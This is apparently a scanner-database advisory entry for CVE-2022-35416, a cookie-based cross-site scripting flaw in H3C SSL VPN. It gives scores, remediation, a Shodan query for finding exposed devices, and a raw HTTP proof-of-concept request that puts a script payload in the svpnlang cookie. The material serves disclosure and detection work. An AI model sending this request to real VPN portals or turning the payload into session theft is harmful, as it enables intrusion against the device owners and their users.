| Title | H3C SSL VPN <=2022-07-10 - Cross-Site Scripting |
|---|---|
| Author | 0x240x23elu |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or other malicious activities. |
| Remediation | Apply the latest security patch or upgrade to a version of H3C SSL VPN that is not affected by this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.06779 |
| CVE ID | CVE-2022-35416 |
| CWE ID | CWE-79 |
| Shodan Query | http.html_hash:510586239 |
| Tags | cve cve2022 xss vpn h3c vuln |
H3C SSL VPN 2022-07-10 and prior contains a cookie-based cross-site scripting vulnerability in wnm/login/login.json svpnlang.
GET /wnm/login/login.json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Cookie: svpnlang=<script>alert('document.domain')</script>
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-35416.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-35416.pcap
N/AN/A